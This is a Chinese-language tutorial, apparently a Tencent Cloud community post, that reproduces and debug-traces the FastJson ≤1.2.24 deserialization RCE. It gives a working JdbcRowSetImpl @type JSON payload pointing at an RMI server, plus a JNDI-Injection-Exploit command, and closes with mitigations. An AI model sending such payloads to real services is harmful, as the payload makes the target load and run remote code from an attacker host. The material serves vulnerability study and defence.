
本文从环境搭建出发,一步一步分析 FastJson 反序列化 RCE 的完整利用链,并结合调试断点深入分析底层代码执行逻辑。
FastJson 是阿里巴巴开源的高性能 JSON 解析库,广泛用于 Java 后端项目。
漏洞版本:≤ 1.2.24
核心原因是 @type 字段允许任意类加载,攻击者可以通过在 JSON 数据中指定恶意类,触发该类的危险方法,最终实现远程代码执行(RCE)。
简单来说,FastJson 在解析 JSON 的时候,如果发现有 @type 这个字段,它会把里面的值当作类名,直接去加载这个类——而且没有任何白名单限制。这个设计在 1.2.24 及以下版本是完全开放的,给了攻击者可乘之机。
测试环境:
java 8u64⚠️ 这里必须用低版本 JDK,原因很关键:从 JDK 8u191 开始,Java 对 JNDI 远程类加载做了限制
(com.sun.jndi.rmi.object.trustURLCodebase 默认设为false),也就是说高版本 JDK 直接阻断了通过 RMI 加载远程恶意类这条路。所以要复现这个漏洞,必须用 8u191 以下的版本。
1.2.24相关资源:
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在 pom.xml 的 </properties> 后面加入以下依赖:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
依赖下载成功后可以看到:

在正式打漏洞之前,先搞懂 @type 到底是干什么的,用一个简单的自定义类来演示。
新建文件 src/main/java/org/example/User.java:

代码内容如下:
package org.example;
public class User {
private String name;
private int age;
private String gender;
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
this.name = name;
System.out.println("setName");
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println("setAge");
}
public String getGender() {
System.out.println("getGender");
return gender;
}
public void setGender(String gender) {
this.gender = gender;
System.out.println("setGender");
}
}在 src/main/java/org/example/Main.java 中修改代码:
String Test = "{\"@type\":\"org.example.User\"," +
"\"name\":\"wrold\"," +
"\"age\":18}";
JSONObject date = JSON.parseObject(Test);
System.out.println(date);
可以看到:
@type 指向的是我们自己创建的类文件name 和 age 两个参数setName、setAge、getAge、getNamegender 参数,但仍然触发了 getGender如果把:
JSONObject date = JSON.parseObject(Test);改成:
User user = JSON.parseObject(test, User.class);运行结果就不一样了:

JSON.parseObject(test, User.class) 只触发了 setter,没有触发任何 getter。
两种调用方式的本质区别:
调用方式 | 触发方法 | 返回类型 |
|---|---|---|
| setter + getter | JSONObject |
| 只有 setter | User 对象 |
这个区别在漏洞利用里非常关键:
JdbcRowSetImpl 就是这种parseObject(test) 无类型版本才能触发,TemplatesImpl 的 getOutputProperties 就是典型JdbcRowSetImpl 是 JDK 自带的 JDBC 行集实现类。它的 setDataSourceName 和 setAutoCommit 方法组合可以触发 JNDI 查询,是 FastJson 漏洞利用中最经典的 setter 型利用类——不需要依赖任何第三方库,JDK 自带,通用性极强。
利用逻辑很简单:
setDataSourceName → 存入 RMI 地址setAutoCommit → 触发 JNDI lookup,连接恶意 RMI 服务在 src/main/java/org/example/Main.java 中添加代码:
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/exploit\"," +
"\"autoCommit\":true}";
JSON.parseObject(payload);
}
}java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "172.16.250.1"
把 payload 里的地址换成 JNDI 工具生成的对应地址:
{
"@type" : "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName" : "rmi://172.16.250.1:1099/4in98t",
"autoCommit" : true
}
PoC 验证成功!
光跑通还不够,接下来打断点进去看看 FastJson 底层到底干了什么。
打断点进入函数:

直接看到用了 parse():

所以 JSON.parse(payload) 同样能触发漏洞,不一定要用 parseObject。
示例:

进入 com/alibaba/fastjson/parser/DefaultJSONParser.java,发现一个判断语句,判断是否有 @type 的值:

判断成功后进入处理逻辑:

com.sun.rowset.JdbcRowSetImpl 被提取出来赋值给了 typeName:

接着触发了这个函数:
TypeUtils.loadClass(typeName, config.getDefaultClassLoader());进去看看,一路的 if 语句都没有成立,最后停到了这里:

className: "com.sun.rowset.JdbcRowSetImpl" ← @type 的值
clazz: "class com.sun.rowset.JdbcRowSetImpl" ← 字符串成功变成 Class 对象这就是漏洞的根源:FastJson 解析 JSON 时,如果发现 @type 字段,会调用 TypeUtils.loadClass() 把字符串值转成 Class 对象,然后实例化该类并通过反射调用对应的 setter 方法赋值——任意类都可以被实例化,没有任何限制。
继续往下执行,发现下面有一个 Deserializer,对象就是 @type 指定的 com.sun.rowset.JdbcRowSetImpl:

与其一步一步跟链,不如直接在关键 setter/getter 上打断点,效率更高。需要关注的方法:
setDataSourceNamegetDataSourceNamesetAutoCommitgetAutoCommit搜索
setDataSourceName/getDataSourceName直接搜索搜不到函数,只能找到接口和定义。要找setAutoCommit/getAutoCommit,需要用 双击 Shift 搜索类名JdbcRowSetImpl,定位到JdbcRowSetImpl.class后再找对应方法。





再跑一遍调试,进入反序列化函数后,直接跳到下一个断点,到达了 setDataSourceName:

setDataSourceName 被调用,传入 RMI 地址 rmi://172.16.250.1:1099/4in98t,但此时 dataSource 为空,进入 else 判断:

getDataSourceName 被调用,但 dataSource 为空:

父类 setDataSourceName 执行 dataSource = name,把 RMI 地址真正存进去。
接下来执行了这个方法:
method.invoke(object, value);
它做的事:
method.invoke(object, value) 是 Java 反射调用,等价于直接调用:
// 反射调用 method.invoke(object, value);
// 等价于直接调用:
object.setDataSourceName("rmi://172.16.250.1:1099/xxx");
object.setAutoCommit(true);有两个重要的参数:
rmi://172.16.250.1:1099/4in98tcom.sun.rowset.JdbcRowSetImpl继续:

进入 setAutoCommit,conn 为 null,走 else 分支:

执行 this.conn = this.connect():

进入 connect(),从 getDataSourceName 取值:

getDataSourceName 再次被调用,这次返回了 RMI 地址,不为空,正常执行 try 里面的内容:

里面执行了 lookup(),就是 JNDI lookup,参数就是 RMI 地址。
连接恶意 RMI 服务,加载远程恶意类,RCE 触发。
JSON.parseObject(payload)
→ @type 加载 JdbcRowSetImpl 类
→ setDataSourceName("rmi://172.16.250.1:1099/4in98t") ← 存入 RMI 地址
→ setAutoCommit(true)
→ connect()
→ JNDI lookup("rmi://172.16.250.1:1099/4in98t") ← 连接恶意 RMI 服务
→ 加载远程恶意类
→ RCE第一步:攻击者构造恶意 JSON
攻击者在 JSON 数据里塞一个 @type 字段,值是 com.sun.rowset.JdbcRowSetImpl,同时带上 dataSourceName(填自己控制的 RMI 服务地址)和 autoCommit: true。这段 JSON 被发送到目标服务器上任何会调用 JSON.parseObject() 的接口。
第二步:FastJson 识别 @type,加载任意类
目标服务器拿到这段 JSON 开始解析,FastJson 在 DefaultJSONParser 里发现了 @type 字段,于是调用 TypeUtils.loadClass() 把字符串 "com.sun.rowset.JdbcRowSetImpl" 直接转成 Class 对象并实例化。这一步是整个漏洞的根源——1.2.24 及以下没有任何白名单限制,传什么类名就加载什么类。
第三步:反射调用 setter,存入 RMI 地址
类加载完成后,FastJson 通过 Java 反射机制依次调用对应字段的 setter 方法。先调 setDataSourceName(),把攻击者的 RMI 地址存进对象里,再调 setAutoCommit(true)。
第四步:setAutoCommit 触发 JNDI lookup
setAutoCommit 执行时发现数据库连接 conn 是空的,于是调 connect() 去建立连接。connect() 内部取出刚才存进去的 RMI 地址,执行 JNDI lookup(),主动向攻击者控制的 RMI 服务器发起请求。
第五步:RMI 服务返回恶意类,目标服务器执行
攻击者的 RMI 服务器收到请求后,返回一个远程恶意类(比如弹计算器、反弹 shell 等)。目标服务器加载并执行这个类,RCE 完成。
升级到 1.2.25 及以上版本,FastJson 从 1.2.25 开始引入了 checkAutoType 机制,@type 的自动类型识别默认关闭,同时内置了一份危险类黑名单。
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);将 JDK 升级到 8u191 及以上,可以阻断 JNDI 远程类加载这条路,对基于 RMI/LDAP 的利用链有缓解效果。但注意这不是根本修复,仍建议同时升级 FastJson。
JSON.parseObject()参考资料
FastJson 官方 GitHub:https://github.com/alibaba/fastjson
Maven 中央仓库 FastJson 1.2.24:https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。